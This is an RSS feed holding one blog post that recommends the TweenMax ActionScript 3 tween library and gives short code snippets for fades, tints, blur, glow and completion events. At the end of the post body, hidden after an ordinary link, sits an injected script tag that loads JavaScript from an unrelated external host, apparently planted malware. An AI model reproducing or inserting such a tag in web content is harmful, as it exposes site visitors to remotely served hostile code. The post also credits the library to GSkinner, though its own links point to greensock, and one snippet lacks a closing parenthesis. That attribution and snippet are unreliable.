<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Official Design and Development Resource of ThornyRabbit &#187; GSkinner</title>
	<atom:link href="http://blog.thornyrabbit.com/tag/gskinner/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.thornyrabbit.com</link>
	<description>because we love</description>
	<lastBuildDate>Fri, 19 Mar 2010 16:55:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>GSkinner and TweenMax &#8211; recommendation and over-view.</title>
		<link>http://blog.thornyrabbit.com/2009/03/131/</link>
		<comments>http://blog.thornyrabbit.com/2009/03/131/#comments</comments>
		<pubDate>Tue, 31 Mar 2009 18:17:56 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Filters]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[GSkinner]]></category>
		<category><![CDATA[Tween]]></category>
		<category><![CDATA[TweenMax]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=131</guid>
		<description><![CDATA[Quick over-view of implementing the excellent Tween Classes written by the GSkinner.]]></description>
			<content:encoded><![CDATA[<p>The Adobe Tweens messed me round one too many times, with their tendency to just stop working.  Tried out something from Exacimo (? link leads to very strange page)  but settled on the mostly-free, reliant, light, easy to use, well-supported <a href="http://blog.greensock.com/tweenmaxas3/" target="_blank">TweenMax by GSkinner</a> (as in Grant).</p>
<p>If I weren&#8217;t in a new country with no credit card I would tip. So, instead &#8211; a recommendation and some quick code snippets for implementing.</p>
<p><strong>Imports:</strong></p>
<p>import gs.TweenMax;<br />
import gs.easing.*;<br />
import gs.events.*;</p>
<p><strong>Declaring:</strong></p>
<p>private var startTween:TweenMax;</p>
<p><strong>Starting:</strong></p>
<p>startTween = new TweenMax(extra_mc, fadeSpeed , {alpha:0 , overwrite:1});</p>
<p>//target, duration, property and value, handling of memory</p>
<p><strong>Multiple Tweens in One Function:</strong></p>
<p>var currTween = new TweenMax(whichframe, tweenSpeed , {x:xval , y:yval , rotation:rotval , ease:Circ.easeIn});</p>
<p><strong>For color tint:</strong></p>
<p>var currTween = TweenMax.to(this, tweenSpeed , {tint:0xE36F1E});</p>
<p><strong>To Remove the Tint:</strong></p>
<p>var currTween = TweenMax.to(this, tweenSpeed , {removeTint:true};</p>
<p><strong>For Blur:</strong></p>
<p>var currTween = TweenMax.to(this, 1, {blurFilter:{blurX:20 , blurY:20}});</p>
<p><strong>For Glow:</strong></p>
<p>var currTween =  TweenMax.to(mc, 1, {glowFilter:{color:0x91e600, alpha:1, blurX:30, blurY:30}});</p>
<p><strong>Events:</strong></p>
<p>startTween.addEventListener(TweenEvent.COMPLETE , repeatFades);//not MOTION_FINISHED</p>
<p>repeatFades(event:Event); </p>
<p>//also &#8211; TweenEvent.UPDATE for each time value changes</p>
<p>Full Documentation &amp; Notes:</p>
<p>Refer to <a href="http://www.tweenmax.com" target="_blank">www.tweenmax.com</a> || <a href="http://blog.greensock.com" target="_blank">http://blog.greensock.com</a></p>
<p>See also: <a href="http://www.gskinner.com" target="_blank">GSkinner.com</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/03/131/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
